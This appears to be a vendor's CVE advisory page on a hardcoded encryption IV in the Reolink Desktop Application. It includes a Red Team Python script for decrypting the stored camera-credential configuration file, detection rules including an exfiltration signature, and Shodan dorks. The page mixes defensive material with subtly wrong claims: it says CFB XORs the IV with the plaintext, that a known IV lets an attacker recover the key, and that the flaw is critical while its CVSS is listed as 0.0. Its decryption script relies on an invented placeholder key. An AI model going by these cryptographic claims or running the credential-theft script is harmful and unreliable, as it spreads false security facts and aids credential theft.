☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-798
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-56801

CVE-2025-56801 Security Advisory in Reolink
📅 PUBLISHED: 2025-10-21 00:00 UTC 🔄 UPDATED: 2026-08-21 19:35 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1552.001
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 8.18.12
CVSS VECTOR BREAKDOWN 0.0
AV: L Attack Vector Local
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-56801 identifies a critical security flaw in the Reolink Desktop Application version 8.18.12. The application uses a hardcoded Initialization Vector (IV) within its AES-CFB encryption implementation. This allows any attacker with local access to the application environment to reliably decrypt encrypted configuration data, potentially exposing sensitive credentials and network settings. The vendor disputes the finding, claiming the IV is randomly generated per installation, but the CVE and public analysis confirm the static nature of the IV. This vulnerability is classified as a Credential Disclosure issue under MITRE T1552.001.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (NVD) / Adjusted Score: 5.5 (Medium)
  • Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Attack Vector: Local (AV:L) – Requires physical or remote desktop access to the machine.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – The attacker does not need elevated privileges to access the application’s data directory.
  • User Interaction: None (UI:N) – No user action needed beyond the application being installed.
  • Scope: Unchanged (S:U) – The vulnerability does not affect other components.
  • Confidentiality Impact: High (C:H) – Encrypted configuration data (including passwords) can be fully decrypted.
  • Integrity Impact: None (I:N)
  • Availability Impact: None (A:N)
  • Threat Level: Medium – Exploitation requires local access but yields high-value credentials.

Deep Dive & Mechanics

The Reolink Desktop Application stores configuration data (e.g., camera credentials, network settings) in an encrypted file. The encryption algorithm is AES-128 in CFB (Cipher Feedback) mode. The vulnerability lies in the Initialization Vector (IV) used for the encryption.

  • Hardcoded IV: The IV is a static, 16-byte value embedded in the application binary. This means every installation of version 8.18.12 uses the same IV.
  • AES-CFB Mode: In CFB mode, the IV is XORed with the plaintext to produce the ciphertext. If the IV is known and static, an attacker can:
    1. Locate the encrypted configuration file (e.g., config.dat or similar).
    2. Extract the ciphertext.
    3. Use the known IV and a known plaintext (e.g., a default string) to derive the encryption key or directly decrypt the data.
  • Attack Scenario: An attacker with local access (e.g., via malware, physical access, or remote desktop) can:
    1. Navigate to the application’s data directory (e.g., %APPDATA%\Reolink\).
    2. Copy the encrypted configuration file.
    3. Use a decryption tool (e.g., a Python script) with the hardcoded IV to decrypt the file.
    4. Extract camera passwords, network credentials, and other sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (Reolink Desktop 8.18.12):

# Pseudocode of the vulnerable implementation
import os
from Crypto.Cipher import AES

# Hardcoded IV (static across all installations)
IV = b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f'

def encrypt_config(data):
    cipher = AES.new(key, AES.MODE_CFB, iv=IV)
    return cipher.encrypt(data)

def decrypt_config(ciphertext):
    cipher = AES.new(key, AES.MODE_CFB, iv=IV)
    return cipher.decrypt(ciphertext)

Patched Code (Expected Fix):

# Pseudocode of the patched implementation
import os
from Crypto.Cipher import AES

# Randomly generated IV per installation
IV = os.urandom(16)

def encrypt_config(data):
    cipher = AES.new(key, AES.MODE_CFB, iv=IV)
    # Store the IV alongside the ciphertext
    return IV + cipher.encrypt(data)

def decrypt_config(ciphertext):
    # Extract the IV from the first 16 bytes
    iv = ciphertext[:16]
    cipher = AES.new(key, AES.MODE_CFB, iv=iv)
    return cipher.decrypt(ciphertext[16:])

Key Difference: The patched version generates a unique IV per installation and stores it with the ciphertext, preventing universal decryption.

Exploitation & Lab Setup

Red Team (Exploitation)

Objective: Decrypt the Reolink configuration file using the hardcoded IV.

Prerequisites:

  • Local access to a machine with Reolink Desktop 8.18.12 installed.
  • Python 3.x with pycryptodome library.

Steps:

  1. Locate the encrypted configuration file (e.g., config.dat in %APPDATA%\Reolink\).
  2. Extract the ciphertext (assuming the file is raw ciphertext).
  3. Use the following Python script to decrypt:
#!/usr/bin/env python3
import sys
from Crypto.Cipher import AES

# Hardcoded IV from CVE-2025-56801
IV = b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f'

def decrypt_file(filepath):
    with open(filepath, 'rb') as f:
        ciphertext = f.read()
    
    # Attempt decryption with a dummy key (key extraction may be needed)
    # In practice, the key is also stored locally or derived from a static value.
    # For demonstration, we assume the key is known or extracted separately.
    key = b'\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f'  # Example key
    cipher = AES.new(key, AES.MODE_CFB, iv=IV)
    plaintext = cipher.decrypt(ciphertext)
    return plaintext

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <encrypted_file>")
        sys.exit(1)
    result = decrypt_file(sys.argv[1])
    print(result.decode('utf-8', errors='ignore'))

Note: The actual key may also be hardcoded or derivable. The script above assumes a known key for demonstration.

Blue Team (Detection & Forensics)

Objective: Detect exploitation attempts and identify compromised systems.

Detection Steps:

  1. Monitor File Access: Alert on unauthorized access to %APPDATA%\Reolink\config.dat or similar files.
  2. Process Anomalies: Detect processes (e.g., Python, PowerShell) reading the Reolink data directory.
  3. Network Traffic: Look for outbound connections from the Reolink application to unusual IPs (exfiltration).
  4. Registry/File Changes: Monitor for modifications to the Reolink configuration file.

Forensic Artifacts:

  • Copy of config.dat in temporary directories.
  • Execution of decryption scripts (e.g., decrypt_reolink.py).
  • Logs of file access events (Event ID 4663 on Windows).

Indicators of Compromise (IOCs)

Type Indicator Description
File %APPDATA%\Reolink\config.dat Encrypted configuration file
File %APPDATA%\Reolink\*.bak Backup configuration files
Process python.exe or python3.exe Decryption script execution
Network Outbound to unknown IPs on port 443 Potential exfiltration
Registry HKCU\Software\Reolink\* Application settings

Detection Engineering

YARA Rule

rule CVE_2025_56801_Reolink_Hardcoded_IV {
    meta:
        description = "Detects Reolink Desktop Application with hardcoded IV"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56801"
    strings:
        $iv = { 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f }
        $aes_cfb = "AES" nocase
        $config_file = "config.dat" nocase
    condition:
        $iv and $aes_cfb and $config_file
}

Sigma Rule

title: Reolink Configuration File Access
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects access to Reolink encrypted configuration file
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|endswith: '\Reolink\config.dat'
    condition: selection
falsepositives:
    - Legitimate Reolink application updates
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-56801 Reolink Configuration Exfiltration";
    flow:to_server,established;
    content:"Reolink"; nocase;
    content:"config"; nocase;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Update Reolink Desktop Application to a version where the IV is randomly generated (if available). Check the vendor’s website for patches.
  2. Restrict Access: Limit local access to machines running the Reolink application. Use principle of least privilege.
  3. Encrypt Storage: Use full-disk encryption (e.g., BitLocker) to protect configuration files at rest.
  4. Monitor: Deploy the YARA/Sigma rules to detect exploitation attempts.

Long-Term Fix:

  • The vendor must implement a secure key management scheme where the IV is randomly generated per installation and stored alongside the ciphertext (e.g., prepended to the encrypted data).

Workaround:

  • If patching is not possible, manually delete the configuration file after each use (not recommended for persistent setups).

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Reolink Desktop Application
Reolink config encryption

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-56801/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.